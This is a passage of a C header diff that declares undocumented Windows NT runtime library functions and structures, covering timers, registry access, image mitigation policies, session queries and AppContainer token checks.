+NTSYSAPI +NTSTATUS +NTAPI +RtlQueueWorkItem( + _In_ WORKERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + _In_ HANDLE FileHandle, + _In_ APC_CALLBACK_FUNCTION CompletionProc, + _In_ ULONG Flags +); + +typedef NTSTATUS(NTAPI* PRTL_START_POOL_THREAD)( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter, + _Out_ PHANDLE ThreadHandle + ); + +typedef NTSTATUS(NTAPI* PRTL_EXIT_POOL_THREAD)( + _In_ NTSTATUS ExitStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadPoolStartFunc( + _In_ PRTL_START_POOL_THREAD StartPoolThread, + _In_ PRTL_EXIT_POOL_THREAD ExitPoolThread +); + +NTSYSAPI +VOID +NTAPI +RtlUserThreadStart( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter +); + +#endif // !_KERNEL_MODE + +// +// Timer support +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimerQueue( + _Out_ PHANDLE TimerQueueHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimer( + _In_ HANDLE TimerQueueHandle, + _Out_ PHANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG DueTime, + _In_ ULONG Period, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpdateTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerHandle, + _In_ ULONG DueTime, + _In_ ULONG Period +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerToCancel, + _In_opt_ HANDLE Event // optional: RTL_TIMER_DELETE_WAIT_FOR_COMPLETION +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + _In_ HANDLE TimerQueueHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE Event +); + +#endif // !_KERNEL_MODE + +// +// Registry access +// + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE CurrentUserKey +); + +#ifndef _KERNEL_MODE + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path +); + +#ifndef _KERNEL_MODE + +typedef +_Function_class_(RTL_QUERY_REGISTRY_ROUTINE) +_IRQL_requires_max_(PASSIVE_LEVEL) +_IRQL_requires_same_ +NTSTATUS +NTAPI +RTL_QUERY_REGISTRY_ROUTINE( + _In_z_ PWSTR ValueName, + _In_ ULONG ValueType, + _In_reads_bytes_opt_(ValueLength) PVOID ValueData, + _In_ ULONG ValueLength, + _In_opt_ PVOID Context, + _In_opt_ PVOID EntryContext +); +typedef RTL_QUERY_REGISTRY_ROUTINE* PRTL_QUERY_REGISTRY_ROUTINE; + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; +} RTL_QUERY_REGISTRY_TABLE, * PRTL_QUERY_REGISTRY_TABLE; + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + +#define RTL_QUERY_REGISTRY_NOSTRING 0x00000080 // THIS IS DEPRECATED - use RTL_QUERY_REGISTRY_TYPECHECK + // + // Used with RTL_QUERY_REGISTRY_DIRECT in + // cases where the caller expects a + // non-string value. Otherwise, the + // assumption that EntryContext points to + // a UNICODE_STRING structure can overrun + // the caller's buffer. + // + +#define RTL_QUERY_REGISTRY_TYPECHECK 0x00000100 // Used with RTL_QUERY_REGISTRY_DIRECT to + // validate the registry value type + // expected by caller with actual type thats + // read from the registry. + + +// +// Use the most significant byte of DefaultType from QueryTable, as the +// caller's expected REG_TYPE +// +#define RTL_QUERY_REGISTRY_TYPECHECK_SHIFT 24 +#define RTL_QUERY_REGISTRY_TYPECHECK_MASK (0xff << RTL_QUERY_REGISTRY_TYPECHECK_SHIFT) + +#endif // !_KERNEL_MODE + +#ifndef RtlQueryRegistryValues +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _Inout_ _At_(*(*QueryTable).EntryContext, _Pre_unknown_) + PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_opt_ PVOID Context, + _In_opt_ PVOID Environment +); +#endif + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValuesEx( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_ PVOID Context, + _In_opt_ PVOID Environment +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlWriteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_z_ PCWSTR ValueName, + _In_ ULONG ValueType, + _In_reads_bytes_opt_(ValueLength) PVOID ValueData, + _In_ ULONG ValueLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_z_ PCWSTR ValueName +); + +// +// Thread profiling +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEnableThreadProfiling( + _In_ HANDLE ThreadHandle, + _In_ ULONG Flags, + _In_ ULONG64 HardwareCounters, + _Out_ PVOID* PerformanceDataHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDisableThreadProfiling( + _In_ PVOID PerformanceDataHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryThreadProfiling( + _In_ HANDLE ThreadHandle, + _Out_ PBOOLEAN Enabled +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReadThreadProfilingData( + _In_ HANDLE PerformanceDataHandle, + _In_ ULONG Flags, + _Out_ PPERFORMANCE_DATA PerformanceData +); +#endif + +#endif // !_KERNEL_MODE + +// +// WOW64 +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetNativeSystemInformation( + _In_ ULONG SystemInformationClass, + _In_ PVOID NativeSystemInformation, + _In_ ULONG InformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueueApcWow64Thread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirectionEx( + _In_ PVOID Wow64FsEnableRedirection, + _Out_ PVOID* OldFsRedirectionLevel +); + +#endif // !_KERNEL_MODE + +// +// Misc +// + +NTSYSAPI +ULONG32 +NTAPI +RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlEncodePointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlDecodePointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlEncodeSystemPointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlDecodeSystemPointer( + _In_ PVOID Ptr +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEncodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID* EncodedPointer +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDecodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID* DecodedPointer +); +#endif + +#endif // !_KERNEL_MODE + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsProcessorFeaturePresent( + _In_ ULONG ProcessorFeature +); + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentProcessorNumber( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +VOID +NTAPI +RtlGetCurrentProcessorNumberEx( + _Out_ PPROCESSOR_NUMBER ProcessorNumber +); +#endif + +#endif // !_KERNEL_MODE + +// +// Stack support +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlPushFrame( + _In_ struct _TEB_ACTIVE_FRAME* Frame +); + +NTSYSAPI +VOID +NTAPI +RtlPopFrame( + _In_ struct _TEB_ACTIVE_FRAME* Frame +); + +NTSYSAPI +struct _TEB_ACTIVE_FRAME* +NTAPI +RtlGetFrame( + VOID +); + +#endif // !_KERNEL_MODE + +#define RTL_WALK_USER_MODE_STACK 0x00000001 +#define RTL_WALK_VALID_FLAGS 0x00000001 + +#ifndef _KERNEL_MODE +#define RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT 0x00000008 +#endif // !_KERNEL_MODE + +// private +NTSYSAPI +ULONG +NTAPI +RtlWalkFrameChain( + _Out_writes_(Count - (Flags >> RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT)) PVOID* Callers, + _In_ ULONG Count, + _In_ ULONG Flags +); + +#ifndef _KERNEL_MODE +#if (defined(_M_AMD64) || defined(_M_IA64)) && !defined(_REALLY_GET_CALLERS_CALLER_) + +#define RtlGetCallersAddress(CallersAddress, CallersCaller) \ + *CallersAddress = (PVOID)_ReturnAddress(); \ + *CallersCaller = NULL; + +#else + +NTSYSAPI +VOID +NTAPI +RtlGetCallersAddress( + _Out_ PVOID* CallersAddress, + _Out_ PVOID* CallersCaller +); + +#endif +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedFeatures( + _In_ ULONG64 FeatureMask +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +// msdn +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedAndSupervisorFeatures( + _In_ ULONG64 FeatureMask +); + +// msdn +_Ret_maybenull_ +_Success_(return != NULL) +NTSYSAPI +PVOID +NTAPI +RtlLocateSupervisorFeature( + _In_ PXSAVE_AREA_HEADER XStateHeader, + _In_range_(XSTATE_AVX, MAXIMUM_XSTATE_FEATURES - 1) ULONG FeatureId, + _Out_opt_ PULONG Length +); +#endif + +// private +typedef union _RTL_ELEVATION_FLAGS +{ + ULONG Flags; + struct + { + ULONG ElevationEnabled : 1; + ULONG VirtualizationEnabled : 1; + ULONG InstallerDetectEnabled : 1; + ULONG ReservedBits : 29; + }; +} RTL_ELEVATION_FLAGS, * PRTL_ELEVATION_FLAGS; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryElevationFlags( + _Out_ PRTL_ELEVATION_FLAGS Flags +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterThreadWithCsrss( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockCurrentThread( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockCurrentThread( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockModuleSection( + _In_ PVOID Address +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockModuleSection( + _In_ PVOID Address +); +#endif + +#endif // !_KERNEL_MODE + + +// +// Event Trace +// + +#ifndef _KERNEL_MODE + +// begin_msdn:"Winternl" +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 64 + +// private +typedef struct _RTL_UNLOAD_EVENT_TRACE +{ + PVOID BaseAddress; + SIZE_T SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE, * PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 +{ + ULONG BaseAddress; + ULONG SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE32, * PRTL_UNLOAD_EVENT_TRACE32; + +NTSYSAPI +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +VOID +NTAPI +RtlGetUnloadEventTraceEx( + _Out_ PULONG * ElementSize, + _Out_ PULONG * ElementCount, + _Out_ PVOID * EventTrace // works across all processes +); +#endif +// end_msdn + +#endif // !_KERNEL_MODE + +// +// Performance Counter +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter +); + +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceFrequency( + _Out_ PLARGE_INTEGER PerformanceFrequency +); +#endif + +#endif // !_KERNEL_MODE + +// +// Image Mitigation +// + +#ifndef _KERNEL_MODE + +// rev +typedef enum _IMAGE_MITIGATION_POLICY +{ + ImageDepPolicy, // RTL_IMAGE_MITIGATION_DEP_POLICY + ImageAslrPolicy, // RTL_IMAGE_MITIGATION_ASLR_POLICY + ImageDynamicCodePolicy, // RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY + ImageStrictHandleCheckPolicy, // RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY + ImageSystemCallDisablePolicy, // RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY + ImageMitigationOptionsMask, + ImageExtensionPointDisablePolicy, // RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY + ImageControlFlowGuardPolicy, // RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY + ImageSignaturePolicy, // RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY + ImageFontDisablePolicy, // RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY + ImageImageLoadPolicy, // RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY + ImagePayloadRestrictionPolicy, // RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY + ImageChildProcessPolicy, // RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY + ImageSehopPolicy, // RTL_IMAGE_MITIGATION_SEHOP_POLICY + ImageHeapPolicy, // RTL_IMAGE_MITIGATION_HEAP_POLICY + MaxImageMitigationPolicy +} IMAGE_MITIGATION_POLICY; + +// rev +typedef union _RTL_IMAGE_MITIGATION_POLICY +{ + struct + { + ULONG64 AuditState : 2; + ULONG64 AuditFlag : 1; + ULONG64 EnableAdditionalAuditingOption : 1; + ULONG64 Reserved : 60; + }; + struct + { + ULONG64 PolicyState : 2; + ULONG64 AlwaysInherit : 1; + ULONG64 EnableAdditionalPolicyOption : 1; + ULONG64 AuditReserved : 60; + }; +} RTL_IMAGE_MITIGATION_POLICY, * PRTL_IMAGE_MITIGATION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DEP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Dep; +} RTL_IMAGE_MITIGATION_DEP_POLICY, * PRTL_IMAGE_MITIGATION_DEP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_ASLR_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY ForceRelocateImages; + RTL_IMAGE_MITIGATION_POLICY BottomUpRandomization; + RTL_IMAGE_MITIGATION_POLICY HighEntropyRandomization; +} RTL_IMAGE_MITIGATION_ASLR_POLICY, * PRTL_IMAGE_MITIGATION_ASLR_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockDynamicCode; +} RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY, * PRTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY StrictHandleChecks; +} RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY, * PRTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockWin32kSystemCalls; +} RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY, * PRTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableExtensionPoints; +} RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY, * PRTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY ControlFlowGuard; + RTL_IMAGE_MITIGATION_POLICY StrictControlFlowGuard; +} RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY, * PRTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockNonMicrosoftSignedBinaries; + RTL_IMAGE_MITIGATION_POLICY EnforceSigningOnModuleDependencies; +} RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY, * PRTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableNonSystemFonts; +} RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY, * PRTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockRemoteImageLoads; + RTL_IMAGE_MITIGATION_POLICY BlockLowLabelImageLoads; + RTL_IMAGE_MITIGATION_POLICY PreferSystem32; +} RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY, * PRTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilterPlus; + RTL_IMAGE_MITIGATION_POLICY EnableImportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableRopStackPivot; + RTL_IMAGE_MITIGATION_POLICY EnableRopCallerCheck; + RTL_IMAGE_MITIGATION_POLICY EnableRopSimExec; + WCHAR EafPlusModuleList[512]; // 19H1 +} RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY, * PRTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisallowChildProcessCreation; +} RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY, * PRTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SEHOP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Sehop; +} RTL_IMAGE_MITIGATION_SEHOP_POLICY, * PRTL_IMAGE_MITIGATION_SEHOP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_HEAP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY TerminateOnHeapErrors; +} RTL_IMAGE_MITIGATION_HEAP_POLICY, * PRTL_IMAGE_MITIGATION_HEAP_POLICY; + +typedef enum _RTL_IMAGE_MITIGATION_OPTION_STATE +{ + RtlMitigationOptionStateNotConfigured, + RtlMitigationOptionStateOn, + RtlMitigationOptionStateOff +} RTL_IMAGE_MITIGATION_OPTION_STATE; + +// rev from PROCESS_MITIGATION_FLAGS +#define RTL_IMAGE_MITIGATION_FLAG_RESET 0x1 +#define RTL_IMAGE_MITIGATION_FLAG_REMOVE 0x2 +#define RTL_IMAGE_MITIGATION_FLAG_OSDEFAULT 0x4 +#define RTL_IMAGE_MITIGATION_FLAG_AUDIT 0x8 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize +); +#endif + +#endif // !_KERNEL_MODE + +// +// session +// + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentServiceSessionId( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +NTSYSAPI +ULONG +NTAPI +RtlGetActiveConsoleId( + VOID +); + +NTSYSAPI +ULONGLONG +NTAPI +RtlGetConsoleSessionForegroundProcessId( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiSessionSku( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiUsersInSessionSku( + VOID +); +#else // NTDDI_VERSION >= NTDDI_WIN10_RS1 +FORCEINLINE +ULONG +NTAPI +RtlGetActiveConsoleId( + VOID +) +{ + return SharedUserData->ActiveConsoleId; +} + +FORCEINLINE +ULONGLONG +NTAPI +RtlGetConsoleSessionForegroundProcessId( + VOID +) +{ + return SharedUserData->ConsoleSessionForegroundProcessId; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +NTAPI +RtlIsMultiSessionSku( + VOID +) +{ + return SharedUserData->DbgMultiSessionSku; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +NTAPI +RtlIsMultiUsersInSessionSku( + VOID +) +{ + return SharedUserData->DbgMultiUsersInSessionSku; +} +#endif // NTDDI_VERSION < NTDDI_WIN10_RS1 + +// +// Appcontainer +// + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetTokenNamedObjectPath( + _In_ HANDLE Token, + _In_opt_ PSID Sid, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerNamedObjectPath( + _In_opt_ HANDLE Token, + _In_opt_ PSID AppContainerSid, + _In_ BOOLEAN RelativePath, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerParent( + _In_ PSID AppContainerSid, + _Out_ PSID* AppContainerSidParent // RtlFreeSid +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckSandboxedToken( + _In_opt_ HANDLE TokenHandle, + _Out_ PBOOLEAN IsSandboxed +); + +#ifdef _KERNEL_MODE +NTSYSAPI +BOOLEAN +NTAPI +RtlIsSandboxedToken( + _In_opt_ PSECURITY_SUBJECT_CONTEXT Context, + _In_ KPROCESSOR_MODE PreviousMode +); +#endif // _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenCapability( + _In_opt_ HANDLE TokenHandle, + _In_ PSID CapabilitySidToCheck, + _Out_ PBOOLEAN HasCapability +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCapabilityCheck( + _In_opt_ HANDLE TokenHandle, + _In_ PUNICODE_STRING CapabilityName, + _Out_ PBOOLEAN HasCapability +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembership( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _Out_ PBOOLEAN IsMember +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembershipEx( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _In_ ULONG Flags, // CTMF_VALID_FLAGS + _Out_ PBOOLEAN IsMember +); + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTokenHostIdAsUlong64( + _In_ HANDLE TokenHandle, + _Out_ PULONG64 HostId // (WIN://PKGHOSTID) +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsParentOfChildAppContainer( + _In_ PSID ParentAppContainerSid, + _In_ PSID ChildAppContainerSid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCapabilitySid( + _In_ PSID Sid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPackageSid( + _In_ PSID Sid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidProcessTrustLabelSid( + _In_ PSID Sid +); + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsStateSeparationEnabled( + VOID +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +typedef enum _APPCONTAINER_SID_TYPE +{ + NotAppContainerSidType, + ChildAppContainerSidType, + ParentAppContainerSidType, + InvalidAppContainerSidType, + MaxAppContainerSidType +} APPCONTAINER_SID_TYPE, * PAPPCONTAINER_SID_TYPE; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerSidType( + _In_ PSID 